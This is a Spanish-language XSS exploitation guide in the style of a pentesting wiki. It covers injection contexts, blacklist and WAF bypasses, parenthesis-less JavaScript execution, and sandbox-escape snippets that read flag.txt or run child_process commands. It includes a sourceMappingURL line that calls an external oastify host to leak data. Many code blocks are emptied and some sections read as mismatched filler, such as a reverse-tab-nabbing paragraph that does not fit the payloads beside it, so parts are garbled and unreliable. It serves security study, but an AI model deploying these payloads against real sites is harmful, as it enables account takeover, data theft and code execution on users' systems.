# XSS (Cross Site Scripting) / **Consejo de recompensa por errores**: ¡**Regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**! ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} ## Metodología 1. Verifica si **cualquier valor que controles** (_parámetros_, _ruta_, _encabezados_?, _cookies_?) se está **reflejando** en el HTML o se está utilizando en el código **JS**. 2. **Encuentra el contexto** donde se refleja/utiliza. 3. Si se **refleja** 1. Verifica **qué símbolos puedes utilizar** y, en función de eso, prepara el payload: 1. En **HTML sin procesar**: 1. ¿Puedes crear nuevas etiquetas HTML? 2. ¿Puedes utilizar eventos o atributos que admitan el protocolo `javascript:`? 3. ¿Puedes evadir protecciones? 4. ¿El contenido HTML se interpreta mediante algún motor JS del lado del cliente (_AngularJS_, _VueJS_, _Mavo_...)? Podrías abusar de una [**Inyección de Plantillas del Lado del Cliente**](../client-side-template-injection-csti.md). 5. Si no puedes crear etiquetas HTML que ejecuten código JS, ¿puedes abusar de una [**Inyección de Marcado Colgante - Inyección de HTML sin script**](../dangling-markup-html-scriptless-injection.md)? 2. Dentro de una **etiqueta HTML**: 1. ¿Puedes salir al contexto de HTML sin procesar? 2. ¿Puedes crear nuevos eventos/atributos para ejecutar código JS? 3. ¿El atributo en el que estás atrapado admite la ejecución de JS? 4. ¿Puedes evadir protecciones? 3. Dentro del código **JavaScript**: 1. ¿Puedes escapar de la etiqueta ``** de una página HTML, dentro de un archivo `.js` o dentro de un atributo que utiliza el protocolo **`javascript:`**: * Si se refleja entre las etiquetas **``**, incluso si tu entrada está dentro de cualquier tipo de comillas, puedes intentar inyectar `` y escapar de este contexto. Esto funciona porque el **navegador primero analizará las etiquetas HTML** y luego el contenido, por lo tanto, no se dará cuenta de que tu etiqueta `` inyectada está dentro del código HTML. * Si se refleja **dentro de una cadena JS** y el último truco no funciona, deberás **salir** de la cadena, **ejecutar** tu código y **reconstruir** el código JS (si hay algún error, no se ejecutará): * `'-alert(1)-'` * `';-alert(1)//` * `\';alert(1)//` * Si se refleja dentro de literales de plantilla, puedes **incrustar expresiones JS** utilizando la sintaxis `${ ... }`: `` var greetings = `Hola, ${alert(1)}` `` * La **codificación Unicode** funciona para escribir **código JavaScript válido**: ```javascript \u{61}lert(1) \u0061lert(1) \u{0061}lert(1) ``` #### Elevación de JavaScript La elevación de JavaScript hace referencia a la oportunidad de **declarar funciones, variables o clases después de que se utilizan**. Por lo tanto, si tienes escenarios en los que puedes **inyectar código JS después de que se utiliza un objeto no declarado**, puedes **solucionar la sintaxis** declarándolo (para que tu código se ejecute en lugar de generar un error): ```javascript // The function vulnerableFunction is not defined vulnerableFunction('test', ''); // You can define it in your injection to execute JS //Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b '-alert(1)-''); function vulnerableFunction(a,b){return 1}; //Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1) test'); function vulnerableFunction(a,b){ return 1 };alert(1) ``` ```javascript // If a variable is not defined, you could define it in the injection // In the following example var a is not defined function myFunction(a,b){ return 1 }; myFunction(a, '') //Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b test'); var a = 1; alert(1); ``` ```javascript // If an undeclared class is used, you cannot declare it AFTER being used var variable = new unexploitableClass(); // But you can actually declare it as a function, being able to fix the syntax with something like: function unexploitableClass() { return 1; } alert(1); ``` ```javascript // Properties are not hoisted // So the following examples where the 'cookie' attribute doesn´t exist // cannot be fixed if you can only inject after that code: test.cookie('leo','INJECTION') test['cookie','injection'] ``` Para obtener más información sobre el Hoisting de JavaScript, consulta: [https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios](https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios) ### Función de JavaScript Varias páginas web tienen puntos finales que **aceptan como parámetro el nombre de la función a ejecutar**. Un ejemplo común que se encuentra en la práctica es algo como: `?callback=callbackFunc`. Una buena manera de descubrir si algo proporcionado directamente por el usuario está tratando de ser ejecutado es **modificar el valor del parámetro** (por ejemplo, a 'Vulnerable') y buscar en la consola errores como: ![](<../../.gitbook/assets/image (651) (2).png>) En caso de que sea vulnerable, podrías ser capaz de **activar una alerta** simplemente enviando el valor: **`?callback=alert(1)`**. Sin embargo, es muy común que estos puntos finales **validen el contenido** para permitir solo letras, números, puntos y guiones bajos (**`[\w\._]`**). Sin embargo, incluso con esa limitación, aún es posible realizar algunas acciones. Esto se debe a que puedes usar esos caracteres válidos para **acceder a cualquier elemento en el DOM**: ![](<../../.gitbook/assets/image (662).png>) Algunas funciones útiles para esto: ``` firstElementChild lastElementChild nextElementSibiling lastElementSibiling parentElement ``` También puedes intentar **activar funciones de Javascript** directamente: `obj.sales.delOrders`. Sin embargo, por lo general, los puntos finales que ejecutan la función indicada son puntos finales sin mucho DOM interesante, **otras páginas en la misma origen** tendrán un DOM **más interesante** para realizar más acciones. Por lo tanto, con el fin de **abusar de esta vulnerabilidad en un DOM diferente**, se desarrolló la explotación de **Same Origin Method Execution (SOME)**: {% content-ref url="some-same-origin-method-execution.md" %} [some-same-origin-method-execution.md](some-same-origin-method-execution.md) {% endcontent-ref %} ### DOM Hay **código JS** que está utilizando de manera **insegura** algunos **datos controlados por un atacante** como `location.href`. Un atacante podría abusar de esto para ejecutar código JS arbitrario. {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} ### **XSS Universal** Este tipo de XSS se puede encontrar **en cualquier lugar**. No dependen solo de la explotación del cliente de una aplicación web, sino de **cualquier** **contexto**. Este tipo de **ejecución arbitraria de JavaScript** incluso se puede abusar para obtener **RCE**, **leer** **archivos** **arbitrarios** en clientes y servidores, y más.\ Algunos **ejemplos**: {% content-ref url="server-side-xss-dynamic-pdf.md" %} [server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md) {% endcontent-ref %} {% content-ref url="../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/" %} [xss-to-rce-electron-desktop-apps](../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/) {% endcontent-ref %} ## Bypass de WAF codificando imágenes ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg) ## Inyectando dentro de HTML sin formato Cuando tu entrada se refleja **dentro de la página HTML** o puedes escapar e inyectar código HTML en este contexto, lo **primero** que debes hacer es verificar si puedes abusar de `<` para crear nuevas etiquetas: simplemente intenta **reflejar** ese **carácter** y verifica si está siendo **codificado en HTML** o **eliminado** o si se **refleja sin cambios**. **Solo en el último caso podrás explotar este caso**.\ Para estos casos, también **ten en cuenta** [**Inyección de Plantillas en el Lado del Cliente (Client Side Template Injection)**](../client-side-template-injection-csti.md)**.**\ _**Nota: Un comentario HTML se puede cerrar usando**** ****`-->`**** ****o**** ****`--!>`**_ En este caso, y si no se utiliza una lista negra o blanca, podrías usar payloads como: ```javascript ``` Pero, si se está utilizando una lista negra/blanca de etiquetas/atributos, deberás **realizar un ataque de fuerza bruta para determinar qué etiquetas** puedes crear.\ Una vez que hayas **localizado qué etiquetas están permitidas**, deberás realizar un ataque de fuerza bruta para encontrar atributos/eventos dentro de las etiquetas válidas y ver cómo puedes atacar el contexto. ### Ataque de fuerza bruta a etiquetas/eventos Ve a [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) y haz clic en _**Copiar etiquetas al portapapeles**_. Luego, envíalas todas utilizando Burp Intruder y verifica si alguna etiqueta no fue detectada como maliciosa por el WAF. Una vez que hayas descubierto qué etiquetas puedes usar, puedes **realizar un ataque de fuerza bruta a todos los eventos** utilizando las etiquetas válidas (en la misma página web, haz clic en _**Copiar eventos al portapapeles**_ y sigue el mismo procedimiento que antes). ### Etiquetas personalizadas Si no encontraste ninguna etiqueta HTML válida, puedes intentar **crear una etiqueta personalizada** y ejecutar código JS con el atributo `onfocus`. En la solicitud XSS, debes terminar la URL con `#` para que la página **se enfoque en ese objeto** y **ejecute** el código: ``` /?search=#x ``` ### Saltos de lista negra Si se está utilizando algún tipo de lista negra, puedes intentar saltarla con algunos trucos tontos: ```javascript //Random capitalization alert(1) //Not closing tag, ending with " <" or " //" //Special cases .//https://github.com/evilcos/xss.swf //https://github.com/evilcos/xss.swf ``` Ten en cuenta que si intentas **usar ambos** `URLencode + HTMLencode` en cualquier orden para codificar la **carga útil**, no funcionará, pero puedes **mezclarlos dentro de la carga útil**. **Usando codificación hexadecimal y octal con `javascript:`** Puedes usar la codificación **hexadecimal** y **octal** dentro del atributo `src` de `iframe` (al menos) para declarar **etiquetas HTML para ejecutar JS**: ```javascript //Encoded: // This WORKS //Encoded: alert(1) // This doesn't work ``` ### Reverse tab nabbing Reverse tab nabbing is a type of cross-site scripting (XSS) attack that targets users who have multiple tabs open in their web browser. The attack takes advantage of the trust users have in the websites they are currently browsing. When a user clicks on a link on a malicious website, the attacker's website will open in a new tab. The attacker's website will then replace the content of the original tab with a phishing page that looks identical to the trusted website the user was previously viewing. The user may not notice the change in the tab, as they are still on the same domain and the URL may appear legitimate. If the user enters their login credentials or other sensitive information on the phishing page, it will be sent to the attacker, allowing them to gain unauthorized access to the user's account. To protect against reverse tab nabbing, users should be cautious when clicking on links, especially from untrusted sources. It is also recommended to regularly update web browsers and use security plugins that can detect and block malicious websites. ```javascript //No safari //chars allowed between the onevent and the "=" IExplorer: %09 %0B %0C %020 %3B Chrome: %09 %20 %28 %2C %3B Safari: %2C %3B Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` ### XSS en "Etiquetas no explotables" (input oculto, enlace, canónico, meta) Desde [**aquí**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ahora es posible abusar de los inputs ocultos con:** ```html
Newsletter popup
``` Desde [**aquí**](https://portswigger.net/research/xss-in-hidden-input-fields): Puedes ejecutar una **carga útil XSS dentro de un atributo oculto**, siempre y cuando puedas **persuadir** a la **víctima** para que presione la **combinación de teclas**. En Firefox Windows/Linux, la combinación de teclas es **ALT+SHIFT+X** y en OS X es **CTRL+ALT+X**. Puedes especificar una combinación de teclas diferente utilizando una tecla diferente en el atributo de clave de acceso. Aquí está el vector: ```markup ``` **La carga XSS será algo como esto: `" accesskey="x" onclick="alert(1)" x="`** ### Saltos de lista negra Ya se expusieron varios trucos utilizando diferentes codificaciones en esta sección. Vuelve atrás para aprender dónde puedes usar: * **Codificación HTML (etiquetas HTML)** * **Codificación Unicode (puede ser código JS válido):** `\u0061lert(1)` * **Codificación de URL** * **Codificación hexadecimal y octal** * **Codificación de datos** **Saltos de lista negra para etiquetas y atributos HTML** Lee los [Saltos de lista negra de la sección anterior](./#saltos-de-lista-negra). **Saltos de lista negra para código JavaScript** Lee los [Saltos de lista negra de JavaScript de la siguiente sección](./#técnicas-de-saltos-de-lista-negra-de-javascript). ### CSS-Gadgets Si encuentras un **XSS en una parte muy pequeña** de la web que requiere algún tipo de interacción (tal vez un pequeño enlace en el pie de página con un elemento onmouseover), puedes intentar **modificar el espacio que ocupa ese elemento** para maximizar las probabilidades de que se active el enlace. Por ejemplo, podrías agregar algunos estilos al elemento como: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` Pero, si el WAF está filtrando el atributo de estilo, puedes usar CSS Styling Gadgets, así que si encuentras, por ejemplo > .test {display:block; color: blue; width: 100%\} y > \#someid {top: 0; font-family: Tahoma;} Ahora puedes modificar nuestro enlace y llevarlo a la forma > \ Este truco fue tomado de [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) ## Inyectando dentro del código JavaScript En este caso, tu **entrada** se va a **reflejar dentro del código JS** de un archivo `.js` o entre las etiquetas `` o entre eventos HTML que pueden ejecutar código JS o entre atributos que aceptan el protocolo `javascript:`. ### Escapando la etiqueta \`, puedes **escapar cerrando la etiqueta ` ``` Ten en cuenta que en este ejemplo **ni siquiera hemos cerrado la comilla simple**, pero eso no es necesario ya que el **navegador primero realiza el análisis HTML** para identificar los elementos de la página, incluidos los bloques de script, y solo más tarde realiza el análisis de JavaScript para comprender y ejecutar los scripts incrustados. ### Dentro del código JS Si `<>` están siendo sanitizados, aún puedes **escapar la cadena** donde se encuentra tu entrada y **ejecutar JS arbitrario**. Es importante **corregir la sintaxis de JS**, porque si hay algún error, el código JS no se ejecutará: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` ### Literales de plantilla \`\` Para construir **cadenas de texto** aparte de las comillas simples y dobles, JS también acepta **acentos graves** **` `` `**. Esto se conoce como literales de plantilla, ya que permiten **incrustar expresiones JS** utilizando la sintaxis `${ ... }`.\ Por lo tanto, si descubres que tu entrada se está **reflejando** dentro de una cadena de texto JS que utiliza acentos graves, puedes abusar de la sintaxis `${ ... }` para ejecutar **código JS arbitrario**: Esto puede ser **abusado** utilizando: ```javascript `${alert(1)}` `${`${`${`${alert(1)}`}`}`}` ``` ```````````````javascript // This is valid JS code, because each time the function returns itself it's recalled with `` function loop(){return loop} loop`````````````` ``````````````` ### Ejecución de código codificado Cross-site scripting (XSS) es una vulnerabilidad común en aplicaciones web que permite a los atacantes inyectar y ejecutar código malicioso en el navegador de un usuario. Una forma común de explotar esta vulnerabilidad es a través de la ejecución de código codificado. La ejecución de código codificado implica la manipulación de datos de entrada para que se interpreten como código en lugar de texto normal. Esto se logra utilizando técnicas de codificación, como la codificación HTML o la codificación de URL, para ocultar el código malicioso dentro de los datos de entrada. Cuando el servidor web recibe los datos de entrada codificados, los decodifica y los muestra en el navegador del usuario sin realizar ninguna validación o filtrado adecuado. Como resultado, el código malicioso se ejecuta en el contexto del sitio web vulnerable, lo que permite al atacante robar información confidencial, realizar acciones no autorizadas o incluso tomar el control total del sitio web. Para explotar esta vulnerabilidad, el atacante debe encontrar un punto de entrada en la aplicación web donde pueda inyectar código malicioso. Esto puede ser a través de campos de entrada de usuario, como formularios de inicio de sesión o campos de comentarios, o mediante parámetros de URL. Una vez que se encuentra un punto de entrada, el atacante puede comenzar a manipular los datos de entrada para codificar el código malicioso. Por ejemplo, si el atacante desea inyectar un script JavaScript, puede codificarlo utilizando la función `encodeURIComponent()` en JavaScript. ```javascript var maliciousCode = ''; var encodedCode = encodeURIComponent(maliciousCode); ``` El código malicioso codificado se puede enviar al servidor web a través de la solicitud HTTP. Cuando el servidor web recibe los datos de entrada codificados, los decodifica y los muestra en el navegador del usuario sin realizar ninguna validación o filtrado adecuado. Como resultado, el código malicioso se ejecuta en el contexto del sitio web vulnerable, lo que permite al atacante lograr sus objetivos maliciosos. Para protegerse contra la ejecución de código codificado, es importante implementar medidas de seguridad adecuadas en la aplicación web. Esto incluye la validación y filtrado de datos de entrada, la implementación de listas blancas de caracteres permitidos y la codificación adecuada de datos de salida. Además, mantenerse actualizado con los parches de seguridad y las mejores prácticas de desarrollo web puede ayudar a prevenir ataques de XSS. ```markup ``` **Javascript dentro de un comentario** Cuando se trata de encontrar vulnerabilidades de Cross-Site Scripting (XSS), es importante tener en cuenta que el código JavaScript también puede estar oculto dentro de los comentarios HTML. Los comentarios son secciones de código que no se muestran en la página web, pero aún así son interpretados por el navegador. Un atacante puede aprovechar esta vulnerabilidad al insertar código JavaScript malicioso dentro de un comentario HTML. Si el sitio web no tiene una protección adecuada, este código puede ejecutarse en el navegador de los usuarios que visiten la página. Para identificar si un sitio web es vulnerable a este tipo de ataque, se puede utilizar una técnica llamada "Javascript inside a comment". Esto implica insertar un código JavaScript de prueba dentro de un comentario HTML y verificar si se ejecuta en el navegador. Aquí hay un ejemplo de cómo se puede realizar esta técnica: ```html ``` En este ejemplo, el código JavaScript `alert('XSS');` está oculto dentro de un comentario HTML. Si el sitio web es vulnerable, el navegador ejecutará este código y mostrará una alerta con el mensaje "XSS". Es importante destacar que esta técnica solo se utiliza con fines de prueba y no debe ser utilizada de manera maliciosa. Los pentesters y los investigadores de seguridad deben obtener el permiso adecuado antes de realizar cualquier prueba de penetración en un sitio web. ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` **JavaScript sin paréntesis** --- En algunos casos, es posible ejecutar código JavaScript sin utilizar paréntesis. Esto se debe a que JavaScript permite llamar a una función sin utilizar paréntesis si no se le pasan argumentos. Por ejemplo, considera el siguiente código: ```javascript alert`Hello, world!`; ``` En este caso, `alert` es una función que muestra una ventana emergente en el navegador. Normalmente, se llamaría a esta función utilizando paréntesis, como `alert("Hello, world!")`. Sin embargo, en este caso, se utiliza la sintaxis de plantilla de cadena de JavaScript para llamar a la función sin paréntesis. Esta técnica puede ser utilizada para ejecutar código malicioso en un sitio web vulnerable a ataques de Cross-Site Scripting (XSS). Al aprovechar esta funcionalidad de JavaScript, un atacante puede inyectar código malicioso en una página web y ejecutarlo sin utilizar paréntesis. Es importante tener en cuenta que esta técnica solo funciona en navegadores que admiten la sintaxis de plantilla de cadena de JavaScript. Además, es crucial comprender que el uso de esta técnica para fines maliciosos es ilegal y éticamente incorrecto. Solo se debe utilizar con fines educativos y de prueba en un entorno controlado y autorizado. ````javascript // By setting location window.location='javascript:alert\x281\x29' x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x // or any DOMXSS sink such as location=name // Backtips // Backtips pass the string as an array of lenght 1 alert`1` // Backtips + Tagged Templates + call/apply eval`alert\x281\x29` // This won't work as it will just return the passed array setTimeout`alert\x281\x29` eval.call`${'alert\x281\x29'}` eval.apply`${[`alert\x281\x29`]}` [].sort.call`${alert}1337` [].map.call`${eval}\\u{61}lert\x281337\x29` // To pass several arguments you can use function btt(){ console.log(arguments); } btt`${'arg1'}${'arg2'}${'arg3'}` //It's possible to construct a function and call it Function`x${'alert(1337)'}x``` // .replace can use regexes and call a function if something is found "a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a," "a".replace.call`1${/./}${alert}` // This happened in the previous example // Change "this" value of call to "1," // match anything with regex /./ // call alert with "1" "a".replace.call`1337${/..../}${alert}` //alert with 1337 instead // Using Reflect.apply to call any function with any argumnets Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function. Reflect.apply.call`${navigation.navigate}${navigation}${[name]}` // Using Reflect.set to call set any value to a variable Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third. // valueOf, toString // These operations are called when the object is used as a primitive // Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used valueOf=alert;window+'' toString=alert;window+'' // Error handler window.onerror=eval;throw"=alert\x281\x29"; onerror=eval;throw"=alert\x281\x29"; {onerror=eval}throw"=alert(1)" //No ";" onerror=alert //No ";" using new line throw 1337 // Error handler + Special unicode separators eval("onerror=\u2028alert\u2029throw 1337"); // Error handler + Comma separator // The comma separator goes through the list and returns only the last element var a = (1,2,3,4,5,6) // a = 6 throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert throw onerror=alert,1,1,1,1,1,1337 // optional exception variables inside a catch clause. try{throw onerror=alert}catch{throw 1} // Has instance symbol 'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval} 'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval} // The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol. ```` * [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) * [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) **Llamada arbitraria a una función (alert)** ````javascript //Eval like functions eval('ale'+'rt(1)') setTimeout('ale'+'rt(2)'); setInterval('ale'+'rt(10)'); Function('ale'+'rt(10)')``; [].constructor.constructor("alert(document.domain)")`` []["constructor"]["constructor"]`$${alert()}``` import('data:text/javascript,alert(1)') //General function executions `` //Can be use as parenthesis alert`document.cookie` alert(document['cookie']) with(document)alert(cookie) (alert)(1) (alert(1))in"." a=alert,a(1) [1].find(alert) window['alert'](0) parent['alert'](1) self['alert'](2) top['alert'](3) this['alert'](4) frames['alert'](5) content['alert'](6) [7].map(alert) [8].find(alert) [9].every(alert) [10].filter(alert) [11].findIndex(alert) [12].forEach(alert); top[/al/.source+/ert/.source](1) top[8680439..toString(30)](1) Function("ale"+"rt(1)")(); new Function`al\ert\`6\``; Set.constructor('ale'+'rt(13)')(); Set.constructor`al\x65rt\x2814\x29```; $='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y) x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y)) this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array) globalThis[`al`+/ert/.source]`1` this[`al`+/ert/.source]`1` [alert][0].call(this,1) window['a'+'l'+'e'+'r'+'t']() window['a'+'l'+'e'+'r'+'t'].call(this,1) top['a'+'l'+'e'+'r'+'t'].apply(this,[1]) (1,2,3,4,5,6,7,8,alert)(1) x=alert,x(1) [1].find(alert) top["al"+"ert"](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) al\u0065rt`1` top['al\145rt'](1) top['al\x65rt'](1) top[8680439..toString(30)](1) ```` ## **Vulnerabilidades DOM** Hay **código JS** que está utilizando **datos controlados por un atacante de manera insegura**, como `location.href`. Un atacante podría abusar de esto para ejecutar código JS arbitrario.\ **Debido a la extensión de la explicación de** [**las vulnerabilidades DOM, se movió a esta página**](dom-xss.md)**:** {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) {% endcontent-ref %} Allí encontrarás una **explicación detallada de qué son las vulnerabilidades DOM, cómo se provocan y cómo explotarlas**.\ Además, no olvides que **al final del mencionado artículo** puedes encontrar una explicación sobre [**los ataques de Clobbering DOM**](dom-xss.md#dom-clobbering). ## Otros Bypasses ### Unicode Normalizado Puedes verificar si los **valores reflejados** están siendo **normalizados en Unicode** en el servidor (o en el lado del cliente) y abusar de esta funcionalidad para evadir protecciones. [**Encuentra un ejemplo aquí**](../unicode-injection/#xss-cross-site-scripting). ### Bypass de la bandera PHP FILTER\_VALIDATE\_EMAIL ```javascript ">"@x.y ``` ### Bypass de Ruby-On-Rails Debido a la asignación masiva de RoR, las comillas se insertan en el HTML y luego se omite la restricción de comillas y se pueden agregar campos adicionales (onfocus) dentro de la etiqueta.\ Por ejemplo, en este [informe](https://hackerone.com/reports/709336), si envías la carga útil: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` La pareja "Key","Value" se mostrará de la siguiente manera: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` A continuación, se insertará el atributo onfocus: ![](<../../.gitbook/assets/image (107).png>) Se produce un XSS. ### Combinaciones especiales ```markup alert(1) alert('XSS') < < String.fromCharCode(88,83,83) \"/\"src=\"/\"onerror=eval(id) ``` ### XSS con inyección de encabezado en una respuesta 302 Si descubres que puedes **inyectar encabezados en una respuesta de redirección 302**, puedes intentar **hacer que el navegador ejecute JavaScript arbitrario**. Esto no es trivial, ya que los navegadores modernos no interpretan el cuerpo de la respuesta HTTP si el código de estado de la respuesta HTTP es 302, por lo que una carga útil de scripting entre sitios no sirve de nada. En [**este informe**](https://www.gremwell.com/firefox-xss-302) y [**este otro**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puedes leer cómo puedes probar varios protocolos dentro del encabezado de ubicación y ver si alguno de ellos permite que el navegador inspeccione y ejecute la carga útil de XSS dentro del cuerpo.\ Protocolos conocidos anteriormente: `mailto://`, `//x:1/`, `ws://`, `wss://`, encabezado de ubicación vacío, `resource://`. ### Solo letras, números y puntos Si puedes indicar la **función de devolución de llamada** que JavaScript va a **ejecutar** limitada a esos caracteres. [**Lee esta sección de esta publicación**](./#javascript-function) para descubrir cómo abusar de este comportamiento. ### Tipos de contenido ` ``` La respuesta es: * **módulo** (por defecto, nada que explicar) * [**webbundle**](https://web.dev/web-bundles/): Web Bundles es una característica que te permite empaquetar un conjunto de datos (HTML, CSS, JS...) en un archivo **`.wbn`**. ```html The resources are loaded from the source .wbn, not accessed via HTTP ``` * [**importmap**](https://github.com/WICG/import-maps)**:** Permite mejorar la sintaxis de importación ```html ``` Este comportamiento fue utilizado en [**este informe**](https://github.com/zwade/yaca/tree/master/solution) para remapear una biblioteca a eval y abusar de ella para desencadenar XSS. * [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Esta característica se utiliza principalmente para resolver algunos problemas causados por la pre-renderización. Funciona de la siguiente manera: ```html ``` ### Tipos de contenido web para XSS (De [**aquí**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Los siguientes tipos de contenido pueden ejecutar XSS en todos los navegadores: * text/html * application/xhtml+xml * application/xml * text/xml * image/svg+xml * text/plain (?? no está en la lista, pero creo que lo vi en un CTF) * application/rss+xml (desactivado) * application/atom+xml (desactivado) En otros navegadores se pueden utilizar otros **`tipos de contenido`** para ejecutar JS arbitrario, consulta: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) ### Tipo de contenido xml Si la página devuelve un tipo de contenido text/xml, es posible indicar un espacio de nombres y ejecutar JS arbitrario: ```xml hello ``` ### Patrones de Reemplazo Especiales Cuando se utiliza algo como **`"some {{template}} data".replace("{{template}}", )`**, el atacante podría utilizar [**reemplazos especiales de cadenas**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) para intentar evadir algunas protecciones: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))`` Por ejemplo, en [**este informe**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), esto se utilizó para **escapar una cadena JSON** dentro de un script y ejecutar código arbitrario. ### Chrome Cache to XSS {% content-ref url="chrome-cache-to-xss.md" %} [chrome-cache-to-xss.md](chrome-cache-to-xss.md) {% endcontent-ref %} ### Escapando de XS Jails Si solo tienes un conjunto limitado de caracteres para usar, verifica estas otras soluciones válidas para problemas de XSJail: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/)) // use of with with(console)log(123) with(/console.log(1)/)with(this)with(constructor)constructor(source)() // Just replace console.log(1) to the real code, the code we want to run is: //return String(process.mainModule.require('fs').readFileSync('flag.txt')) with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt'))) with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n))) with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n))) //Final solution with( /with(String) with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process) with(mainModule) with(require(k)) return(String(readFileSync(n))) /) with(this) with(constructor) constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` Si **todo está indefinido** antes de ejecutar código no confiable (como en [**este informe**](https://blog.huli.tw/2022/02/08/es/lo-que-aprendi-de-dicectf-2022/#miscx2fundefined55-solves)), es posible generar objetos útiles "de la nada" para abusar de la ejecución de código no confiable arbitrario: * Utilizando import() ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8"))) ``` * Accediendo a `require` indirectamente [De acuerdo a esto](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) los módulos son envueltos por Node.js dentro de una función, de esta manera: ```javascript (function (exports, require, module, __filename, __dirname) { // our actual module code }); ``` Por lo tanto, si desde ese módulo podemos **llamar a otra función**, es posible utilizar `arguments.callee.caller.arguments[1]` desde esa función para acceder a **`require`**: {% code overflow="wrap" %} ```javascript (function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})() ``` {% endcode %} De manera similar al ejemplo anterior, es posible **utilizar manejadores de errores** para acceder al **envoltorio** del módulo y obtener la función **`require`**: ```javascript try { null.f() } catch (e) { TypeError = e.constructor } Object = {}.constructor String = ''.constructor Error = TypeError.prototype.__proto__.constructor function CustomError() { const oldStackTrace = Error.prepareStackTrace try { Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace Error.captureStackTrace(this) this.stack } finally { Error.prepareStackTrace = oldStackTrace } } function trigger() { const err = new CustomError() console.log(err.stack[0]) for (const x of err.stack) { // use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter const fn = x.getFunction() console.log(String(fn).slice(0, 200)) console.log(fn?.arguments) console.log('='.repeat(40)) if ((args = fn?.arguments)?.length > 0) { req = args[1] console.log(req('child_process').execSync('id').toString()) } } } trigger() ``` ### Ofuscación y 